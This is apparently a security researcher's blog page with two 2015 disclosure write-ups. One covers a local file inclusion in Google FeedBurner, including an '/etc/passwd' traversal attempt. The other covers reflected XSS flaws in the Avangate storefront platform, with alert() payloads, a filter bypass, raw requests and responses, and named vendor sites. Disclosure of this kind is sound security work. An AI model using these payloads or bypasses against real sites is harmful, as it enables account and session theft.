How I found the sweets inside Google servers. Local File Inclusion Write-up @ 2015

Hello there.

In this blog post I'll tell you how I've managed to read arbitrary files from the Google servers by finding/exploiting a Local-File-Inclusion vulnerability. This flaw was found in one of the Google products, Google Feedburner, and was fastly fixed by Google Security Team.

As Wikipedia says, "FeedBurner is a web feed management provider launched in 2004.[...]FeedBurner provides custom RSS feeds and management tools to bloggers, podcasters, and other web-based content publishers." . This product was in the past one of my targets and as I had already discovered a few xss-es in this domain, I realized that there could be more interesting bugs here. So, I did some research and after a while I discovered that FeedBurner had an open API, but it was officially deprecated by Google in 2012. However, even if the documentation files were deleted (https://developers.google.com/feedburner/), the "Wayback Machine" (http://archive.org/web/) saved these pages and I was able to read them.

This is how I've discovered the link that caught my attention : http://feedburner.google.com/fb/dynamicflares/HelloVisitor.jsp?feedUrl=http://domain.tld/ff.xml (it isn't working anymore) .This script was used for retrieving the content of Dynamic FeedFlare Unit files, which are basically simple xml documents built after a certain scheme . For those who aren't familiar with the FeedFlares, it's important to know that these are more like some kind of addons, used by Feed owners in order to give their readers new methods of interacting with their content. 

At first glance, the purpose of this script was to grab the XML document submitted as value for feedUrl parameter and perform a XSL tranformation on it. The problem with this file was that it only appended the content of the provided XML in the context of the page without modifying or even encoding it.

My first attempt was only to find an XSS and I succeded by providing an URL that points to a malicious html file. But I felt that there could be a vulnerability with a major impact like reading files from the webserver, so I started my research with some classic payloads, injecting a directory traversal, a method tipically used in LFI attacks ("../../../../../../../etc/passwd"), but it didn't work. Nevertheless,by changing the method and using the file URI scheme, I was able to retrieve files from the server.





Unfortunately, not all the files were readable due to the Security policy file, but accessing some log files were enough to prove the existence of this vulnerabiliy. I've submitted this flaw to Google and it was fixed within 10 minutes after the triage.

Thanks,

Colțuneac Alexandru - @dekeeu

Read More

Avangate eCommerce Platform - XSS Vulnerabilities

• Description:

Avangate eCommerce Platform suffer from Reflected-XSS(Cross-Site-Scripting) vulnerabilities which can be easily exploited and could allow an attacker to threaten users safety .


• What is XSS(Cross-Site-Scripting) vulnerability ?

Reflected cross-site-scripting vulnerabilities arise when user-input is sent to the webserver in the context of a request and is echoed back into in application’s immediate response in an unsafe way, without being escaped correctly. An XSS attack allows an attacker to insert arbitrary html/javascript content in web pages.
The malicious payload inserted in page can access any cookies, session tokens or other sensitive information retained by victim’s browser and used within that website. It can also rewrite the content of the HTML page and lead to phishing attacks.


• How can these flaws affect all websites that use Avangate eCommerce solution ?

Every company that use Avangate platform has to create a separated subdomain (example: SHOP. COMPANY.COM) that must point to a *.avangate.com domain. As the scripts are the same for every website and just subdomain name is different , a vulnerability in the platform will affect all websites that use this product.

(*) Even if this subdomain is used only for online shopping and no loginforms or user sensitive information exists within that website , most of the time web developers prefer to extend cookies validity for all subdomains to gain flexibility. So a session cookie(like “PHPSESSID”) available for host.com could become also valid for shop.host.com (which points to Avangate platform).


• Proof of Concept(s):
[1] Link: http[s]://subdomain.host.com/redirect.php?url=';alert(1);//
Vulnerable parameter: url
Description: redirect.php script will take GET url parameter’s value and will add it in the context of the page without encoding it properly.

PoC:


Example of vulnerable websites:
• https://secure.avangate.com/redirect.php?url=';alert(1);//
• https://store.bitdefender.com/redirect.php?url=';alert(1);//
• https://store.iobit.com/redirect.php?url=';alert(1);//

Request:
GET /redirect.php?url=';alert(1);//
Host: store.bitdefender.com
...


Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 23 Jan 2015 15:25:28 GMT
Content-Type: text/html
Content-Length: 65
<script>
document.location.href='http://';alert(1);//';
</script>

[2] Link: http[s]://subdomain.host.com/partners/?merchant="><script>alert(1)</script>&template="><script>alert(2)</script>
Vulnerable parameters: merchant , template
Description: index.php script will take GET merchant, template parameters and will add their values in the context of the page without encoding it properly.

PoC:


Example of vulnerable websites:
• https://store.kaspersky.ro/partners/?merchant="><script>alert(1)</script>&template="><script>alert(1)</script>
• https://secure2.iolo.com/partners/?merchant="><script>alert(1)</script>&template="><script>alert(1)</script>
• https://shop.metaio.com/partners/?merchant="><script>alert(1)</script>&template="><script>alert(1)</script>


Request:
GET /partners/?merchant="><script>alert(1)</script>&template="><script>alert(2)</script>
Host: store.kaspersky.ro
...


Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 23 Jan 2015 17:33:14 GMT
Content-Type: text/html
Content-Length: 7821
...
<input type="hidden" name="merchant" value=""><script>alert(1)</script>"/>
<input type="hidden" name="template" value=""><script>alert(2)</script>"/>

[3] Link: https://subdomain.host.com/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
Vulnerable parameters: SHOPURL
Description:checkout.php script will take GET SHOPURL parameter and will append its value in a href attribute of an a tag. The script will try to prevent the xss attack by removing javascript keyword from the response, but only the first occurrence of this word will be deleted so this filter can be easily bypassed.
PoC:


Example of vulnerable websites:
• https://secure.avangate.com/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
• https://shop.metaio.com/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
• https://store.kaspersky.ro/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)


Request:
GET /order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
Host: store.kaspersky.ro
...


Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 23 Jan 2015 17:33:14 GMT
Content-Type: text/html
Content-Length: 7821
...
<a href="javascript:alert(1)">Back to shopping</a>

Read More